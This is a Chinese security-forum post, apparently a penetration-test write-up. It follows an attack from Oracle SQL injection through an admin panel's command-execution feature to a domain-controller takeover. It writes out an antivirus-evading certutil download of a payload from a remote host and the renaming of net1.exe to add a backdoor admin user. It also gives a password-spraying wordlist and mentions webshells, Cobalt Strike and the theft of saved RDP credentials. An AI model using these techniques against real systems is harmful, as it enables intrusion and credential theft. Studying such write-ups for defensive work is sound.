安全矩阵

 找回密码
 立即注册
搜索
查看: 249|回复: 0

攻防实战:从SQL注入到内网漫游

[复制链接]

57

主题

57

帖子

181

积分

注册会员

Rank: 2

积分
181
发表于 2024-6-22 16:36:49 | 显示全部楼层 |阅读模式

0x00 前言

    在某个平平无奇的下午,办公室吹着空调喝着同事请的大桶果茶,美美的感受下午茶的美好。

    同事的一个消息打破了这个宁静的下午。

    一个非常明显的Oracle的注入,第一想法肯定是注账号密码,话不多说,玩的就是真实,开干!!

0x01 进入正题

    同事说当前数据库有900张表,我先按照常规操作先跑一下表名,看用户名表会不会跑出来,花了四五分钟跑了大概50张表,有三个user表,其中一个成功跑出来md5加密的密码,我心想这么简单,这不是有手就行?你们没跑出来?    cmd5一解密我发现事情并不简单,因为密码是1,很明显不是真实密码(这里不得不说一句cmd5是YYDS,somd5连1都解不出来):

    在跑到100张表的时候,我感觉不对劲了,难不成真有900张表?我跑一天也跑不出来啊?这时候想到了一个简单的办法,既然我们要找用户表,总有密码字段吧?

    直接利用sqlmap的--sql-shell 功能查询所有包含PASSWORD字段的表名就好了(原谅大学学的SQL全还给老师了,直接问GPT)。

    得到命令:

SELECT table_name FROM dba_tab_columns WHERE owner = 'DB1' AND column_name = 'PASSWORD'  ORDER BY table_name;

    成功查询到所有包含密码字段的表,找到了用户表跑出了一部分用户的密码:

    用户太多了,没有跑出全部的,但是这时候已经可以用跑出来的部分账号密码登陆系统,但是发现功能点比较少,文件上传也是使用的php的fckeditor,无法绕过上传:

    但是查询通讯录知道了一个管理员用户是root和对应的邮箱,并非常规的admin@xxx.com

    使用sqlmap的--sql-shell功能直接查询DB1库中的EMAIL=xxx@xxx.com得到密码:

    登陆管理员账号后发现系统功能里面有个系统命令功能可以使用beanshell执行系统命令。:

    眼熟.jpg,这跟用友NC太像了。

    至此已经拿下该服务器,下一步就是进入内网后渗透了。

0x02 踩坑

坑1

    在这个beanshell执行系统命令的时候,刚开始遇到了一些坑,跟用友NC bsh.servlet.BshServlet的远程代码执行一样的坑,执行一些命令时经常会报错。执行 whoami 正常:

    dir、chdir等等都会报错,导致想看其他目录时都会报错。

    但是通过调用系统本地cmd.exe进行命令执行就不会报错了:

坑2

    在查看其他目录、文件含路径的时候,单斜杠无法解析,需要\才能成功获取对应的文件。cmd.exe /c dir e:\xxx\dddd\bin报错

cmd.exe /c dir e:\\portal\\portal422\\bin正常输出

坑3

    sql注入的时候已经知道了系统是Windows2008server和有火绒。到这其实就可以使用echo蚁剑马或者是certutil直接远程下载cs上线,certutil下载文件会被拦截,使用以下命令即可绕过限制进行文件下载:

copy c:\windows\system32\certutil.exe a.exe
a.exe -urlcache -split -f  http://192.168.xx.xx:7000/gdut.txt

    下载哥斯拉马成功连接webshell,因为是2008的系统,直接抓明文密码,但是因为有火绒,无法直接抓。

    前面已经知道了administrator权限,还是利用copy的方法进行绕过火绒添加用户:

copy c:\windows\system32\net1.exe  aaa.txt
aaa.txt user admin Aa123456@@@ /add

    开启本地代理直接远程上去把火绒退掉。

    再上线cs抓密码就可以了。

0x03 内网遨游

    这时候已经拿到管理员的密码,以及知晓密码规则,直接简单构造密码字典对内网进行密码喷洒

domain@2019
domain@2020
domain@2021
domain@2022
domain@2023
domain@,2023
domain@,2022
domain@,2021
domain@,2020

    ................................ 好家伙,直接喷出来十多台服务器:

    然后就是一堆常规操作,登服务器、翻浏览器、配置文件等等。

    在所有东西翻完的时候,使用fscan不加参数全部梭哈的时候,惊喜的发现NetBios识别到了192.168.x.1/24 段有域,但是这个段梭3389的时候没有梭出来成功的。

    这时候我对192.168.x.1/24 单独进行了一次-m rdp -pwdf pwd.txt 果然梭出来了一台服务器的3389,并且是在域内的,最惊喜的这台服务器居然是Windows2008(你们懂的),成功上线cs

[color=rgba(0, 0, 0, 0.9)]

[color=rgba(0, 0, 0, 0.9)]    运行nslookup target.com得到了域控地址。这时候,经常打域的师傅们都知道,只要有一台机器在域内,这个域离拿下就成功一半了,直接查询RDP历史登陆凭据。

    很惊喜的发现这台机器中保存了一个历史凭据,嘿嘿,会不会是域控的?

    果然是域控的密码,直接远程3389上去:

    至此整个单位全部拿下,直接出局。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-8 08:52 , Processed in 0.014980 second(s), 20 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表